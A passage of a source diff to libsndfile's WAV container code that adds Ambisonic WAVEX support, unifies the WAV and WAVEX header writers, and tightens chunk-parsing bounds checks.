 static int	wav_write_header (SF_PRIVATE *psf, int calc_length) ;
 
-static int	wavex_write_header (SF_PRIVATE *psf, int calc_length) ;
-
 static int	wav_write_tailer (SF_PRIVATE *psf) ;
 static void wav_write_strings (SF_PRIVATE *psf, int location) ;
 static int	wav_command (SF_PRIVATE *psf, int command, void *data, int datasize) ;
 static int	wav_close (SF_PRIVATE *psf) ;
 
 static int 	wav_subchunk_parse	 (SF_PRIVATE *psf, int chunk) ;
+static int 	exif_subchunk_parse	 (SF_PRIVATE *psf, unsigned int length) ;
 static int	wav_read_smpl_chunk (SF_PRIVATE *psf, unsigned int chunklen) ;
 static int	wav_read_acid_chunk (SF_PRIVATE *psf, unsigned int chunklen) ;
 static int	wav_read_bext_chunk (SF_PRIVATE *psf, unsigned int chunklen) ;
@@ -165,27 +176,37 @@
 
 int
 wav_open	 (SF_PRIVATE *psf)
-{	int	format, subformat, error, blockalign = 0, framesperblock = 0 ;
+{	WAV_PRIVATE * wpriv ;
+	int	format, subformat, error, blockalign = 0, framesperblock = 0 ;
 
+	if ((wpriv = calloc (1, sizeof (WAV_PRIVATE))) == NULL)
+		return SFE_MALLOC_FAILED ;
+	psf->container_data = wpriv ;
+
+	wpriv->wavex_ambisonic = SF_AMBISONIC_NONE ;
+	psf->str_flags = SF_STR_ALLOW_START | SF_STR_ALLOW_END ;
+
 	if (psf->mode == SFM_READ || (psf->mode == SFM_RDWR && psf->filelength > 0))
 	{	if ((error = wav_read_header (psf, &blockalign, &framesperblock)))
 			return error ;
 		} ;
 
-	subformat = psf->sf.format & SF_FORMAT_SUBMASK ;
+	subformat = SF_CODEC (psf->sf.format) ;
 
 	if (psf->mode == SFM_WRITE || psf->mode == SFM_RDWR)
 	{	if (psf->is_pipe)
 			return SFE_NO_PIPE_WRITE ;
 
-		format = psf->sf.format & SF_FORMAT_TYPEMASK ;
+		wpriv->wavex_ambisonic = SF_AMBISONIC_NONE ;
+
+		format = SF_CONTAINER (psf->sf.format) ;
 		if (format != SF_FORMAT_WAV && format != SF_FORMAT_WAVEX)
 			return	SFE_BAD_OPEN_FORMAT ;
 
 		psf->blockwidth = psf->bytewidth * psf->sf.channels ;
 
 		/* RIFF WAVs are little-endian, RIFX WAVs are big-endian, default to little */
-		psf->endian = psf->sf.format & SF_FORMAT_ENDMASK ;
+		psf->endian = SF_ENDIAN (psf->sf.format) ;
 		if (CPU_IS_BIG_ENDIAN && psf->endian == SF_ENDIAN_CPU)
 			psf->endian = SF_ENDIAN_BIG ;
 		else if (psf->endian != SF_ENDIAN_BIG)
@@ -203,8 +224,6 @@
 			framesperblock = -1 ; /* Corrected later. */
 			} ;
 
-		psf->str_flags = SF_STR_ALLOW_START | SF_STR_ALLOW_END ;
-
 		/* By default, add the peak chunk to floating point files. Default behaviour
 		** can be switched off using sf_command (SFC_SET_PEAK_CHUNK, SF_FALSE).
 		*/
@@ -214,7 +233,7 @@
 			psf->peak_info->peak_loc = SF_PEAK_START ;
 			} ;
 
-		psf->write_header = (format == SF_FORMAT_WAV) ? wav_write_header : wavex_write_header ;
+		psf->write_header = wav_write_header ;
 		} ;
 
 	psf->container_close = wav_close ;
@@ -277,13 +296,20 @@
 
 static int
 wav_read_header	 (SF_PRIVATE *psf, int *blockalign, int *framesperblock)
-{	WAV_FMT		wav_fmt ;
+{	WAV_PRIVATE	*wpriv ;
+	WAV_FMT		*wav_fmt ;
 	FACT_CHUNK	fact_chunk ;
 	unsigned	dword = 0, marker, RIFFsize, done = 0 ;
 	int			parsestage = 0, error, format = 0 ;
 	char		*cptr ;
 
-	memset (&wav_fmt, 0, sizeof (wav_fmt)) ;
+	if (psf->filelength > SF_PLATFORM_S64 (0xffffffff))
+		psf_log_printf (psf, "Warning : filelength > 0xffffffff. This is bad!!!!\n") ;
+
+	if ((wpriv = psf->container_data) == NULL)
+		return SFE_INTERNAL ;
+	wav_fmt = &wpriv->wav_fmt ;
+
 	/* Set position to start of file to begin reading header. */
 	psf_binheader_readf (psf, "p", 0) ;
 
@@ -354,10 +380,10 @@
 					psf_binheader_readf (psf, "4", &dword) ;
 					psf_log_printf (psf, "fmt  : %d\n", dword) ;
 
-					if ((error = wav_w64_read_fmt_chunk (psf, &wav_fmt, dword)))
+					if ((error = wav_w64_read_fmt_chunk (psf, dword)))
 						return error ;
 
-					format = wav_fmt.format ;
+					format = wav_fmt->format ;
 					break ;
 
 			case data_MARKER :
@@ -374,35 +400,36 @@
 					psf->datalength = dword ;
 					psf->dataoffset = psf_ftell (psf) ;
 
-					if (dword == 0 && RIFFsize == 8 && psf->filelength > 44)
-					{	psf_log_printf (psf, "*** Looks like a WAV file which wasn't closed properly. Fixing it.\n") ;
-						psf->datalength = dword = psf->filelength - psf->dataoffset ;
-						} ;
+					if (psf->dataoffset > 0)
+					{	if (dword == 0 && RIFFsize == 8 && psf->filelength > 44)
+						{	psf_log_printf (psf, "*** Looks like a WAV file which wasn't closed properly. Fixing it.\n") ;
+							psf->datalength = psf->filelength - psf->dataoffset ;
+							} ;
 
-					if (psf->datalength > psf->filelength - psf->dataoffset)
-					{	psf_log_printf (psf, "data : %D (should be %D)\n", psf->datalength, psf->filelength - psf->dataoffset) ;
-						psf->datalength = psf->filelength - psf->dataoffset ;
-						}
-					else
-						psf_log_printf (psf, "data : %D\n", psf->datalength) ;
+						if (psf->datalength > psf->filelength - psf->dataoffset)
+						{	psf_log_printf (psf, "data : %D (should be %D)\n", psf->datalength, psf->filelength - psf->dataoffset) ;
+							psf->datalength = psf->filelength - psf->dataoffset ;
+							}
+						else
+							psf_log_printf (psf, "data : %D\n", psf->datalength) ;
 
-					/* Only set dataend if there really is data at the end. */
-					if (psf->datalength + psf->dataoffset < psf->filelength)
-						psf->dataend = psf->datalength + psf->dataoffset ;
+						/* Only set dataend if there really is data at the end. */
+						if (psf->datalength + psf->dataoffset < psf->filelength)
+							psf->dataend = psf->datalength + psf->dataoffset ;
 
-					if (format == WAVE_FORMAT_MS_ADPCM && psf->datalength % 2)
-					{	psf->datalength ++ ;
-						psf_log_printf (psf, "*** Data length odd. Increasing it by 1.\n") ;
+						if (format == WAVE_FORMAT_MS_ADPCM && psf->datalength % 2)
+						{	psf->datalength ++ ;
+							psf_log_printf (psf, "*** Data length odd. Increasing it by 1.\n") ;
+							} ;
 						} ;
 
-					if (! psf->sf.seekable)
+					if (! psf->sf.seekable || psf->dataoffset < 0)
 						break ;
 
 					/* Seek past data and continue reading header. */
 					psf_fseek (psf, psf->datalength, SEEK_CUR) ;
 
-					dword = psf_ftell (psf) ;
-					if (dword != (sf_count_t) (psf->dataoffset + psf->datalength))
+					if (psf_ftell (psf) != psf->datalength + psf->dataoffset)
 						psf_log_printf (psf, "*** psf_fseek past end error ***\n", dword, psf->dataoffset + psf->datalength) ;
 					break ;
 
@@ -465,7 +492,7 @@
 						psf->peak_info->peaks [dword].value = value ;
 						psf->peak_info->peaks [dword].position = position ;
 
-						LSF_SNPRINTF (cptr, sizeof (psf->u.cbuf), "    %2d   %-12ld   %g\n",
+						snprintf (cptr, sizeof (psf->u.cbuf), "    %2d   %-12ld   %g\n",
 								dword, (long) psf->peak_info->peaks [dword].position, psf->peak_info->peaks [dword].value) ;
 						cptr [sizeof (psf->u.cbuf) - 1] = 0 ;
 						psf_log_printf (psf, cptr) ;
@@ -539,28 +566,36 @@
 					break ;
 
 			case bext_MARKER :
+					/*
+					The 'bext' chunk can actually be updated, so don't need to set this.
 					parsestage |= HAVE_other ;
-
+					*/
 					psf_binheader_readf (psf, "4", &dword) ;
-					if (dword < WAV_BEXT_CHUNK_SIZE)
-						psf_log_printf (psf, "bext : %u (should be >= %d)\n", dword, WAV_BEXT_CHUNK_SIZE) ;
-					else
-						psf_log_printf (psf, "bext : %u\n", dword) ;
-
 					if ((error = wav_read_bext_chunk (psf, dword)))
 						return error ;
 					break ;
 
+			case PAD_MARKER :
+					/*
+					We can eat into a 'PAD ' chunk if we need to.
+					parsestage |= HAVE_other ;
+					*/
+					psf_binheader_readf (psf, "4", &dword) ;
+					psf_log_printf (psf, "%M : %u\n", marker, dword) ;
+					dword += (dword & 1) ;
+					psf_binheader_readf (psf, "j", dword) ;
+					break ;
+
+			case iXML_MARKER : /* See http://en.wikipedia.org/wiki/IXML */
 			case strc_MARKER : /* Multiple of 32 bytes. */
-
 			case afsp_MARKER :
 			case clm_MARKER :
 			case elmo_MARKER :
+			case cart_MARKER :
 			case levl_MARKER :
 			case plst_MARKER :
 			case DISP_MARKER :
 			case MEXT_MARKER :
-			case PAD_MARKER :
 					parsestage |= HAVE_other ;
 
 					psf_binheader_readf (psf, "4", &dword) ;
@@ -597,7 +632,7 @@
 			} ;
 		} ; /* while (1) */
 
-	if (! psf->dataoffset)
+	if (psf->dataoffset <= 0)
 		return SFE_WAV_NO_DATA ;
 
 	/* WAVs can be little or big endian */
@@ -628,8 +663,8 @@
 	switch (format)
 	{	case WAVE_FORMAT_EXTENSIBLE :
 			if (psf->sf.format == (SF_FORMAT_WAVEX | SF_FORMAT_MS_ADPCM))
-			{	*blockalign = wav_fmt.msadpcm.blockalign ;
-				*framesperblock = wav_fmt.msadpcm.samplesperblock ;
+			{	*blockalign = wav_fmt->msadpcm.blockalign ;
+				*framesperblock = wav_fmt->msadpcm.samplesperblock ;
 				} ;
 			break ;
 
@@ -649,14 +684,14 @@
 
 		case WAVE_FORMAT_MS_ADPCM :
 					psf->sf.format = (SF_FORMAT_WAV | SF_FORMAT_MS_ADPCM) ;
-					*blockalign = wav_fmt.msadpcm.blockalign ;
-					*framesperblock = wav_fmt.msadpcm.samplesperblock ;
+					*blockalign = wav_fmt->msadpcm.blockalign ;
+					*framesperblock = wav_fmt->msadpcm.samplesperblock ;
 					break ;
 
 		case WAVE_FORMAT_IMA_ADPCM :
 					psf->sf.format = (SF_FORMAT_WAV | SF_FORMAT_IMA_ADPCM) ;
-					*blockalign = wav_fmt.ima.blockalign ;
-					*framesperblock = wav_fmt.ima.samplesperblock ;
+					*blockalign = wav_fmt->ima.blockalign ;
+					*framesperblock = wav_fmt->ima.samplesperblock ;
 					break ;
 
 		case WAVE_FORMAT_GSM610 :
@@ -675,6 +710,9 @@
 		default : return SFE_UNIMPLEMENTED ;
 		} ;
 
+	if (wpriv->fmt_is_broken)
+		wav_w64_analyze (psf) ;
+
 	/* Only set the format endian-ness if its non-standard big-endian. */
 	if (psf->endian == SF_ENDIAN_BIG)
 		psf->sf.format |= SF_ENDIAN_BIG ;
@@ -683,47 +721,11 @@
 } /* wav_read_header */
 
 static int
-wav_write_header (SF_PRIVATE *psf, int calc_length)
-{	sf_count_t	current ;
-	int 		fmt_size, k, subformat, add_fact_chunk = SF_FALSE ;
+wav_write_fmt_chunk (SF_PRIVATE *psf)
+{	int subformat, fmt_size, add_fact_chunk = 0 ;
 
-	current = psf_ftell (psf) ;
+	subformat = SF_CODEC (psf->sf.format) ;
 
-	if (calc_length)
-	{	psf->filelength = psf_get_filelen (psf) ;
-
-		psf->datalength = psf->filelength - psf->dataoffset ;
-
-		if (psf->dataend)
-			psf->datalength -= psf->filelength - psf->dataend ;
-
-		if (psf->bytewidth > 0)
-			psf->sf.frames = psf->datalength / (psf->bytewidth * psf->sf.channels) ;
-		} ;
-
-	/* Reset the current header length to zero. */
-	psf->header [0] = 0 ;
-	psf->headindex = 0 ;
-	psf_fseek (psf, 0, SEEK_SET) ;
-
-	/*
-	** RIFX signifies big-endian format for all header and data.
-	** To prevent lots of code copying here, we'll set the psf->rwf_endian flag
-	** once here, and never specify endian-ness for all other header operations.
-	*/
-
-	/* RIFF/RIFX marker, length, WAVE and 'fmt ' markers. */
-
-	if (psf->endian == SF_ENDIAN_LITTLE)
-		psf_binheader_writef (psf, "etm8", RIFF_MARKER, (psf->filelength < 8) ? 8 : psf->filelength - 8) ;
-	else
-		psf_binheader_writef (psf, "Etm8", RIFX_MARKER, (psf->filelength < 8) ? 8 : psf->filelength - 8) ;
-
-	/* WAVE and 'fmt ' markers. */
-	psf_binheader_writef (psf, "mm", WAVE_MARKER, fmt_MARKER) ;
-
-	subformat = psf->sf.format & SF_FORMAT_SUBMASK ;
-
 	switch (subformat)
 	{	case SF_FORMAT_PCM_U8 :
 		case SF_FORMAT_PCM_16 :
@@ -873,111 +875,19 @@
 	if (add_fact_chunk)
 		psf_binheader_writef (psf, "tm48", fact_MARKER, 4, psf->sf.frames) ;
 
-	if (psf->str_flags & SF_STR_LOCATE_START)
-		wav_write_strings (psf, SF_STR_LOCATE_START) ;
+	return 0 ;
+} /* wav_write_fmt_chunk */
 
-	if (psf->peak_info != NULL && psf->peak_info->peak_loc == SF_PEAK_START)
-	{	psf_binheader_writef (psf, "m4", PEAK_MARKER, WAV_PEAK_CHUNK_SIZE (psf->sf.channels)) ;
-		psf_binheader_writef (psf, "44", 1, time (NULL)) ;
-		for (k = 0 ; k < psf->sf.channels ; k++)
-			psf_binheader_writef (psf, "ft8", (float) psf->peak_info->peaks [k].value, psf->peak_info->peaks [k].position) ;
-		} ;
-
-	if (psf->broadcast_info != NULL)
-		wav_write_bext_chunk (psf) ;
-
-	if (psf->instrument != NULL)
-	{	int		tmp ;
-		double	dtune = (double) (0x40000000) / 25.0 ;
-
-		psf_binheader_writef (psf, "m4", smpl_MARKER, 9 * 4 + psf->instrument->loop_count * 6 * 4) ;
-		psf_binheader_writef (psf, "44", 0, 0) ; /* Manufacturer zero is everyone */
-		tmp = (int) (1.0e9 / psf->sf.samplerate) ; /* Sample period in nano seconds */
-		psf_binheader_writef (psf, "44", tmp, psf->instrument->basenote) ;
-		tmp = (unsigned int) (psf->instrument->detune * dtune + 0.5) ;
-		psf_binheader_writef (psf, "4", tmp) ;
-		psf_binheader_writef (psf, "44", 0, 0) ; /* SMTPE format */
-		psf_binheader_writef (psf, "44", psf->instrument->loop_count, 0) ;
-
-		for (tmp = 0 ; tmp < psf->instrument->loop_count ; tmp++)
-		{	int type ;
-
-			type = psf->instrument->loops [tmp].mode ;
-			type = (type == SF_LOOP_FORWARD ? 0 : type==SF_LOOP_BACKWARD ? 2 : type == SF_LOOP_ALTERNATING ? 1 : 32) ;
-
-			psf_binheader_writef (psf, "44", tmp, type) ;
-			psf_binheader_writef (psf, "44", psf->instrument->loops [tmp].start, psf->instrument->loops [tmp].end) ;
-			psf_binheader_writef (psf, "44", 0, psf->instrument->loops [tmp].count) ;
-			} ;
-		} ;
-
-	psf_binheader_writef (psf, "tm8", data_MARKER, psf->datalength) ;
-	psf_fwrite (psf->header, psf->headindex, 1, psf) ;
-	if (psf->error)
-		return psf->error ;
-
-	psf->dataoffset = psf->headindex ;
-
-	if (current < psf->dataoffset)
-		psf_fseek (psf, psf->dataoffset, SEEK_SET) ;
-	else if (current > 0)
-		psf_fseek (psf, current, SEEK_SET) ;
-
-	return psf->error ;
-} /* wav_write_header */
-
-
-
 static int
-wavex_write_header (SF_PRIVATE *psf, int calc_length)
-{	sf_count_t	current ;
-	int 		fmt_size, k, subformat, add_fact_chunk = SF_FALSE ;
+wavex_write_fmt_chunk (SF_PRIVATE *psf)
+{	WAV_PRIVATE	*wpriv ;
+	int subformat, fmt_size, add_fact_chunk = 0 ;
 
-	current = psf_ftell (psf) ;
+	if ((wpriv = psf->container_data) == NULL)
+		return SFE_INTERNAL ;
 
-	if (calc_length)
-	{	psf->filelength = psf_get_filelen (psf) ;
+	subformat = SF_CODEC (psf->sf.format) ;
 
-		psf->datalength = psf->filelength - psf->dataoffset ;
-
-		if (psf->dataend)
-			psf->datalength -= psf->filelength - psf->dataend ;
-
-		if (psf->bytewidth > 0)
-			psf->sf.frames = psf->datalength / (psf->bytewidth * psf->sf.channels) ;
-		} ;
-
-
-	/* Reset the current header length to zero. */
-	psf->header [0] = 0 ;
-	psf->headindex = 0 ;
-	psf_fseek (psf, 0, SEEK_SET) ;
-
-	/* RIFX signifies big-endian format for all header and data
-	** to prevent lots of code copying here, we'll set the psf->rwf_endian
-	** flag once here, and never specify endian-ness for all other header ops
-	*/
-
-	/* RIFF marker, length, WAVE and 'fmt ' markers. */
-
-	if (psf->endian == SF_ENDIAN_LITTLE)
-	{	if (psf->filelength < 8)
-			psf_binheader_writef (psf, "tm8", RIFF_MARKER, 8) ;
-		else
-			psf_binheader_writef (psf, "tm8", RIFF_MARKER, psf->filelength - 8) ;
-		}
-	else
-	{	if (psf->filelength < 8)
-			psf_binheader_writef (psf, "Etm8", RIFX_MARKER, 8) ;
-		else
-			psf_binheader_writef (psf, "Etm8", RIFX_MARKER, psf->filelength - 8) ;
-		} ;
-
-	/* WAVE and 'fmt ' markers. */
-	psf_binheader_writef (psf, "mm", WAVE_MARKER, fmt_MARKER) ;
-
-	subformat = psf->sf.format & SF_FORMAT_SUBMASK ;
-
 	/* initial section (same for all, it appears) */
 	switch (subformat)
 	{	case SF_FORMAT_PCM_U8 :
@@ -1003,37 +913,43 @@
 			/* wValidBitsPerSample, for our use same as bitwidth as we use it fully */
 			psf_binheader_writef (psf, "2", psf->bytewidth * 8) ;
 
-			/*
-			** Ok some liberty is taken here to use the most commonly used channel masks
-			** instead of "no mapping". If you really want to use "no mapping" for 8 channels and less
-			** please don't use wavex. (otherwise we'll have to create a new SF_COMMAND)
+			/* For an Ambisonic file set the channel mask to zero.
+			** Otherwise use a default based on the channel count.
 			*/
-			switch (psf->sf.channels)
-			{	case 1 :	/* center channel mono */
-					psf_binheader_writef (psf, "4", 0x4) ;
-					break ;
+			if (wpriv->wavex_ambisonic != SF_AMBISONIC_NONE)
+				psf_binheader_writef (psf, "4", 0) ;
+			else
+			{	/*
+				** Ok some liberty is taken here to use the most commonly used channel masks
+				** instead of "no mapping". If you really want to use "no mapping" for 8 channels and less
+				** please don't use wavex. (otherwise we'll have to create a new SF_COMMAND)
+				*/
+				switch (psf->sf.channels)
+				{	case 1 :	/* center channel mono */
+						psf_binheader_writef (psf, "4", 0x4) ;
+						break ;
 
-				case 2 :	/* front left and right */
-					psf_binheader_writef (psf, "4", 0x1 | 0x2) ;
-					break ;
+					case 2 :	/* front left and right */
+						psf_binheader_writef (psf, "4", 0x1 | 0x2) ;
+						break ;
 
-				case 4 :	/* Quad */
-					psf_binheader_writef (psf, "4", 0x1 | 0x2 | 0x10 | 0x20) ;
-					break ;
+					case 4 :	/* Quad */
+						psf_binheader_writef (psf, "4", 0x1 | 0x2 | 0x10 | 0x20) ;
+						break ;
 
-				case 6 :	/* 5.1 */
-					psf_binheader_writef (psf, "4", 0x1 | 0x2 | 0x4 | 0x8 | 0x10 | 0x20) ;
-					break ;
+					case 6 :	/* 5.1 */
+						psf_binheader_writef (psf, "4", 0x1 | 0x2 | 0x4 | 0x8 | 0x10 | 0x20) ;
+						break ;
 
-				case 8 :	/* 7.1 */
-					psf_binheader_writef (psf, "4", 0x1 | 0x2 | 0x4 | 0x8 | 0x10 | 0x20 | 0x40 | 0x80) ;
-					break ;
+					case 8 :	/* 7.1 */
+						psf_binheader_writef (psf, "4", 0x1 | 0x2 | 0x4 | 0x8 | 0x10 | 0x20 | 0x40 | 0x80) ;
+						break ;
 
-				default :	/* 0 when in doubt , use direct out, ie NO mapping*/
-					psf_binheader_writef (psf, "4", 0x0) ;
-					break ;
-				}
-
+					default :	/* 0 when in doubt , use direct out, ie NO mapping*/
+						psf_binheader_writef (psf, "4", 0x0) ;
+						break ;
+					} ;
+				} ;
 			break ;
 
 		case SF_FORMAT_MS_ADPCM : /* Todo, GUID exists might have different header as per wav_write_header */
@@ -1048,12 +964,14 @@
 		case SF_FORMAT_PCM_16 :
 		case SF_FORMAT_PCM_24 :
 		case SF_FORMAT_PCM_32 :
-			wavex_write_guid (psf, &MSGUID_SUBTYPE_PCM) ;
+			wavex_write_guid (psf, wpriv->wavex_ambisonic == SF_AMBISONIC_NONE ?
+						&MSGUID_SUBTYPE_PCM : &MSGUID_SUBTYPE_AMBISONIC_B_FORMAT_PCM) ;
 			break ;
 
 		case SF_FORMAT_FLOAT :
 		case SF_FORMAT_DOUBLE :
-			wavex_write_guid (psf, &MSGUID_SUBTYPE_IEEE_FLOAT) ;
+			wavex_write_guid (psf, wpriv->wavex_ambisonic == SF_AMBISONIC_NONE ?
+						&MSGUID_SUBTYPE_IEEE_FLOAT : &MSGUID_SUBTYPE_AMBISONIC_B_FORMAT_IEEE_FLOAT) ;
 			add_fact_chunk = SF_TRUE ;
 			break ;
 
@@ -1067,7 +985,14 @@
 			add_fact_chunk = SF_TRUE ;
 			break ;
 
+#if 0
+		/* This is dead code due to return in previous switch statement. */
 		case SF_FORMAT_MS_ADPCM : /* todo, GUID exists */
+			wavex_write_guid (psf, &MSGUID_SUBTYPE_MS_ADPCM) ;
+			add_fact_chunk = SF_TRUE ;
+			break ;
+			return SFE_UNIMPLEMENTED ;
+#endif
 
 		default : return SFE_UNIMPLEMENTED ;
 		} ;
@@ -1075,6 +1000,70 @@
 	if (add_fact_chunk)
 		psf_binheader_writef (psf, "tm48", fact_MARKER, 4, psf->sf.frames) ;
 
+	return 0 ;
+} /* wavex_write_fmt_chunk */
+
+
+static int
+wav_write_header (SF_PRIVATE *psf, int calc_length)
+{	sf_count_t	current ;
+	int 		k, error, has_data = SF_FALSE ;
+
+	current = psf_ftell (psf) ;
+
+	if (current > psf->dataoffset)
+		has_data = SF_TRUE ;
+
+	if (calc_length)
+	{	psf->filelength = psf_get_filelen (psf) ;
+
+		psf->datalength = psf->filelength - psf->dataoffset ;
+
+		if (psf->dataend)
+			psf->datalength -= psf->filelength - psf->dataend ;
+
+		if (psf->bytewidth > 0)
+			psf->sf.frames = psf->datalength / (psf->bytewidth * psf->sf.channels) ;
+		} ;
+
+	/* Reset the current header length to zero. */
+	psf->header [0] = 0 ;
+	psf->headindex = 0 ;
+	psf_fseek (psf, 0, SEEK_SET) ;
+
+	/*
+	** RIFX signifies big-endian format for all header and data.
+	** To prevent lots of code copying here, we'll set the psf->rwf_endian flag
+	** once here, and never specify endian-ness for all other header operations.
+	*/
+
+	/* RIFF/RIFX marker, length, WAVE and 'fmt ' markers. */
+
+	if (psf->endian == SF_ENDIAN_LITTLE)
+		psf_binheader_writef (psf, "etm8", RIFF_MARKER, (psf->filelength < 8) ? 8 : psf->filelength - 8) ;
+	else
+		psf_binheader_writef (psf, "Etm8", RIFX_MARKER, (psf->filelength < 8) ? 8 : psf->filelength - 8) ;
+
+	/* WAVE and 'fmt ' markers. */
+	psf_binheader_writef (psf, "mm", WAVE_MARKER, fmt_MARKER) ;
+
+	/* Write the 'fmt ' chunk. */
+	switch (SF_CONTAINER (psf->sf.format))
+	{	case SF_FORMAT_WAV :
+				if ((error = wav_write_fmt_chunk (psf)) != 0)
+					return error ;
+				break ;
+
+		case SF_FORMAT_WAVEX :
+				if ((error = wavex_write_fmt_chunk (psf)) != 0)
+					return error ;
+				break ;
+
+		default :
+				return SFE_UNIMPLEMENTED ;
+		} ;
+
+	/* The LIST/INFO chunk. */
 	if (psf->str_flags & SF_STR_LOCATE_START)
 		wav_write_strings (psf, SF_STR_LOCATE_START) ;
 
@@ -1085,23 +1074,61 @@
 			psf_binheader_writef (psf, "ft8", (float) psf->peak_info->peaks [k].value, psf->peak_info->peaks [k].position) ;
 		} ;
 
+	if (psf->broadcast_var != NULL)
+		wav_write_bext_chunk (psf) ;
+
+	if (psf->instrument != NULL)
+	{	int		tmp ;
+		double	dtune = (double) (0x40000000) / 25.0 ;
+
+		psf_binheader_writef (psf, "m4", smpl_MARKER, 9 * 4 + psf->instrument->loop_count * 6 * 4) ;
+		psf_binheader_writef (psf, "44", 0, 0) ; /* Manufacturer zero is everyone */
+		tmp = (int) (1.0e9 / psf->sf.samplerate) ; /* Sample period in nano seconds */
+		psf_binheader_writef (psf, "44", tmp, psf->instrument->basenote) ;
+		tmp = (unsigned int) (psf->instrument->detune * dtune + 0.5) ;
+		psf_binheader_writef (psf, "4", tmp) ;
+		psf_binheader_writef (psf, "44", 0, 0) ; /* SMTPE format */
+		psf_binheader_writef (psf, "44", psf->instrument->loop_count, 0) ;
+
+		for (tmp = 0 ; tmp < psf->instrument->loop_count ; tmp++)
+		{	int type ;
+
+			type = psf->instrument->loops [tmp].mode ;
+			type = (type == SF_LOOP_FORWARD ? 0 : type==SF_LOOP_BACKWARD ? 2 : type == SF_LOOP_ALTERNATING ? 1 : 32) ;
+
+			psf_binheader_writef (psf, "44", tmp, type) ;
+			psf_binheader_writef (psf, "44", psf->instrument->loops [tmp].start, psf->instrument->loops [tmp].end) ;
+			psf_binheader_writef (psf, "44", 0, psf->instrument->loops [tmp].count) ;
+			} ;
+		} ;
+
+	if (psf->headindex + 16 < psf->dataoffset)
+	{	/* Add PAD data if necessary. */
+		k = psf->dataoffset - (psf->headindex + 16) ;
+		psf_binheader_writef (psf, "m4z", PAD_MARKER, k, make_size_t (k)) ;
+		} ;
+
 	psf_binheader_writef (psf, "tm8", data_MARKER, psf->datalength) ;
 	psf_fwrite (psf->header, psf->headindex, 1, psf) ;
 	if (psf->error)
 		return psf->error ;
 
+	if (has_data && psf->dataoffset != psf->headindex)
+	{	psf_log_printf (psf, "Oooops : has_data && psf->dataoffset != psf->headindex\n") ;
+		return psf->error = SFE_INTERNAL ;
+		} ;
+
 	psf->dataoffset = psf->headindex ;
 
-	if (current < psf->dataoffset)
+	if (! has_data)
 		psf_fseek (psf, psf->dataoffset, SEEK_SET) ;
 	else if (current > 0)
 		psf_fseek (psf, current, SEEK_SET) ;
 
 	return psf->error ;
-} /* wavex_write_header */
+} /* wav_write_header */
 
 
-
 static int
 wav_write_tailer (SF_PRIVATE *psf)
 {	int		k ;
@@ -1110,7 +1137,10 @@
 	psf->header [0] = 0 ;
 	psf->headindex = 0 ;
 
-	psf->dataend = psf_fseek (psf, 0, SEEK_END) ;
+	if (psf->dataend > 0)
+		psf_fseek (psf, psf->dataend, SEEK_SET) ;
+	else
+		psf->dataend = psf_fseek (psf, 0, SEEK_END) ;
 
 	/* Add a PEAK chunk if requested. */
 	if (psf->peak_info != NULL && psf->peak_info->peak_loc == SF_PEAK_END)
@@ -1134,6 +1164,9 @@
 wav_write_strings (SF_PRIVATE *psf, int location)
 {	int	k, prev_head_index, saved_head_index ;
 
+	if (psf_location_string_count (psf, location) == 0)
+		return ;
+
 	prev_head_index = psf->headindex + 4 ;
 
 	psf_binheader_writef (psf, "m4m", LIST_MARKER, 0xBADBAD, INFO_MARKER) ;
@@ -1141,7 +1174,7 @@
 	for (k = 0 ; k < SF_MAX_STRINGS ; k++)
 	{	if (psf->strings [k].type == 0)
 			break ;
-		if (psf->strings [k].flags != location)
+		if (psf->strings [k].type < 0 || psf->strings [k].flags != location)
 			continue ;
 
 		switch (psf->strings [k].type)
@@ -1168,6 +1201,9 @@
 			case SF_STR_DATE :
 				psf_binheader_writef (psf, "ms", ICRD_MARKER, psf->strings [k].str) ;
 				break ;
+
+			default :
+				break ;
 			} ;
 		} ;
 
@@ -1184,6 +1220,20 @@
 	if (psf->mode == SFM_WRITE || psf->mode == SFM_RDWR)
 	{	wav_write_tailer (psf) ;
 
+		if (psf->mode == SFM_RDWR)
+		{	sf_count_t current = psf_ftell (psf) ;
+
+			/*
+			**	If the mode is RDWR and the current position is less than the
+			**	filelength, truncate the file.
+			*/
+
+			if (current < psf->filelength)
+			{	psf_ftruncate (psf, current) ;
+				psf->filelength = current ;
+				} ;
+			} ;
+
 		psf->write_header (psf, SF_TRUE) ;
 		} ;
 
@@ -1191,17 +1241,31 @@
 } /* wav_close */
 
 static int
-wav_command (SF_PRIVATE *psf, int command, void *data, int datasize)
-{
-	/* Avoid compiler warnings. */
-	psf = psf ;
-	data = data ;
-	datasize = datasize ;
+wav_command (SF_PRIVATE *psf, int command, void * UNUSED (data), int datasize)
+{	WAV_PRIVATE	*wpriv ;
 
+	if ((wpriv = psf->container_data) == NULL)
+		return SFE_INTERNAL ;
+
 	switch (command)
-	{	default : break ;
-		} ;
+	{	case SFC_WAVEX_SET_AMBISONIC :
+			if ((SF_CONTAINER (psf->sf.format)) == SF_FORMAT_WAVEX)
+			{	if (datasize == SF_AMBISONIC_NONE)
+					wpriv->wavex_ambisonic = SF_AMBISONIC_NONE ;
+				else if (datasize == SF_AMBISONIC_B_FORMAT)
+					wpriv->wavex_ambisonic = SF_AMBISONIC_B_FORMAT ;
+				else
+					return 0 ;
+				} ;
+			return wpriv->wavex_ambisonic ;
 
+		case SFC_WAVEX_GET_AMBISONIC :
+			return wpriv->wavex_ambisonic ;
+
+		default :
+			break ;
+	} ;
+
 	return 0 ;
 } /* wav_command */
 
@@ -1209,7 +1273,7 @@
 wav_subchunk_parse (SF_PRIVATE *psf, int chunk)
 {	sf_count_t	current_pos ;
 	char		*cptr ;
-	int 		dword, bytesread, length ;
+	unsigned 	dword, bytesread, length ;
 
 	current_pos = psf_fseek (psf, 0, SEEK_CUR) ;
 
@@ -1246,7 +1310,7 @@
 					psf_log_printf (psf, "  %M\n", chunk) ;
 					break ;
 
-			case data_MARKER:
+			case data_MARKER :
 					psf_log_printf (psf, "  %M inside a LIST block??? Backing out.\n", chunk) ;
 					/* Jump back four bytes and return to caller. */
 					psf_binheader_readf (psf, "j", -4) ;
@@ -1266,7 +1330,7 @@
 			case ISRC_MARKER :
 					bytesread += psf_binheader_readf (psf, "4", &dword) ;
 					dword += (dword & 1) ;
-					if (dword < 0 || dword > SIGNED_SIZEOF (psf->u.cbuf))
+					if (dword >= SIGNED_SIZEOF (psf->u.cbuf))
 					{	psf_log_printf (psf, "  *** %M : %d (too big)\n", chunk, dword) ;
 						psf_binheader_readf (psf, "j", dword) ;
 						break ;
@@ -1275,7 +1339,7 @@
 					cptr = psf->u.cbuf ;
 					psf_binheader_readf (psf, "b", cptr, dword) ;
 					bytesread += dword ;
